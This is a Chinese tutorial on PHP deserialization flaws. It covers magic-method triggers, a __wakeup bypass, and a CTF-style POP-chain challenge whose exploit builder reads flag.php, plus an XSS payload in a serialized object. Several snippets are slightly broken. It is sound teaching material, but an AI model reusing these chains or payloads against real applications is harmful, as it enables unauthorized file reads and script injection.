WEB常见漏洞之反序列化（基础原理篇）

__construct   当一个对象创建时被调用，
__destruct   当一个对象销毁时被调用，
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发

class people{
    public $name = 'sam';  
    private $sex = 'man';  
    protected $age = '20';
}
$people1 = new people();
$object = serialize($people);
print_r($object);
123456789101112131415

<?php
class people{
    public $name = 'sam';
    private $sex = 'man';
    protected $age = '20';
}
$people1 = new people();
$object = serialize($people1);
$a=unserialize($object);
#print_r($object);
var_dump($a);
1234567891011121314151617

1. __wakeup() 当unserialize()函数反序列化时，在数据流还未被反序列化未对象之前会调用该函数进行初始化. 
2. __destruct() 当对象销毁时触发，也就是说只要你反序列化或者实例化一个对象，当你调用结束后都会触发该函数。

<?php
class star{
    public $a;
    function __wakeup(){
        echo "hi";
    }
    function __destruct(){
        echo "结束了";
    }
}
$s='O:4:"star":1:{s:1:"a";N;}';
unserialize($s);
123456789101112

<?php
class star{
    public $a;
    function __wakeup(){
        echo $this->a;
    }
}
class next{
    function __toString(){
        echo "我在这";
    }
}
$t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}';
unserialize($t);
1234567891011121314

Catchable fatal error: Method next::__toString() must return a string value in 
/tmp/41bac5636b55eff5c8abea138d605489916c2612abc45fd39fdaa87a827a0e00/main.php on line 5

<?php
class star{
    public $a;
    function __wakeup(){
        $function=$this->a;
        return $function();
    }
}
class next{
    function __invoke(){
        echo "我在这";
    }
}
$t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}';
unserialize($t);
123456789101112131415

私有属性或者保护属性，这种访问受限的属性的时候会触发__get()
属性不存在的时候，也会触发__get()

<?php
class star{
    public $a;
    function __wakeup(){
        return $this->str['str']->source;
    }
}
class next{
    function __get($name){
        echo "我在这";
        return;
    }
}
$t='O:4:"star":2:{s:1:"a";N;s:3:"str";a:1:{s:3:"str";O:4:"next":0:{}}}';
unserialize($t);
123456789101112131415

影响版本：
PHP before 5.6.25 
7.x before 7.0.10

<?php
class star{
    public $a;
    function __wakeup(){
        echo $this->a;
    }
}
$t='O:4:"star":1:{s:1:"a";s:9:"我在这";}';
unserialize($t);
123456789

<?php
//flag is in flag.php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
{
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
{
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
{
        return $this->str['str']->source;
    }
    public function _show()
{
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }
    public function __wakeup()
{
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $p;
    public function __construct()
{
        $this->p = array();
    }
    public function __get($key)
{
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}

1.首先看到unserialize($_GET[‘hello’]) 将get传参的hello进行了反序列化操作。那么将会调用到Show类中__weakup方法。
2.因为 this->source = “index.php” source被当做字符串所以调用Show类中的__to string.
3. ** return $this->str[‘str’]->source ** source属性不存在所以调用Test类中的 get方法。
4. ** $function = $this->p;
return $function(); **
把取出来的p当做还是调用因此又会引起调用了 Read类中的__invoke方法，其中就可以把文件读取出来了。

<?php
class Show{
  public $source;
  public $str;
}
class Test {
  public $p;
}
class Read{
  publc $var = "flag.php"
}
$s = new Show();
$t = new Test();
$r = new Read();
$t -> p = $r;
$s ->str["str"] = $t;
$s -> source = $s;
var_dump(serialize($s));

将一个对象转换成可以传输的一个字符串
序列化对象后，可以方便的将它传递到其他需要它的地方，且其类型和结构不会改变
eg：
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
O:1:"S":1:{s:4:"test";s:7:"pikachu";} //这是序列化结果

(前提：有可利用的类）
__construct()    //创建对象时触发
__destruct()    //对象销毁时触发
__call()    //在对象中调用不可访问的方法时触发
__callStatic()    //在静态中调用不可访问的方法时触发
__get()    //用于从不可访问的属性读取数据
__set()    //用于将数据写入不可访问的属性
__isset()    //在不可访问的属性上调用isset()或empty()触发
__unset()    //在不可访问的属性上使用unset()时触发
__invoke()    //当脚本尝试将对象调用为函数时触发
__wakeup()    //执行unserialize()时，先会调用这个函数
__sleep()    //执行serialize()时，先会调用这个函数

<?php
class S{
  var $test = "<script>alert('xss')</script>";
}
$a = new S();
echo serialize($a);
?>

文件存在
name = Tom
sex =  
year = 20
gpa = 3.6

反序列化之前，先进行严格的数据类型校验。由于校验规则容易被攻击者探索出来，进而容易被绕过，因此防御不能仅依赖这一个手段，但可以作为完整性校验防御方案的补充。
对反序列化过程进行详尽的日志记录，用以安全审计或调查。
监控反序列化过程，在发现疑似反序列化攻击时进行警报。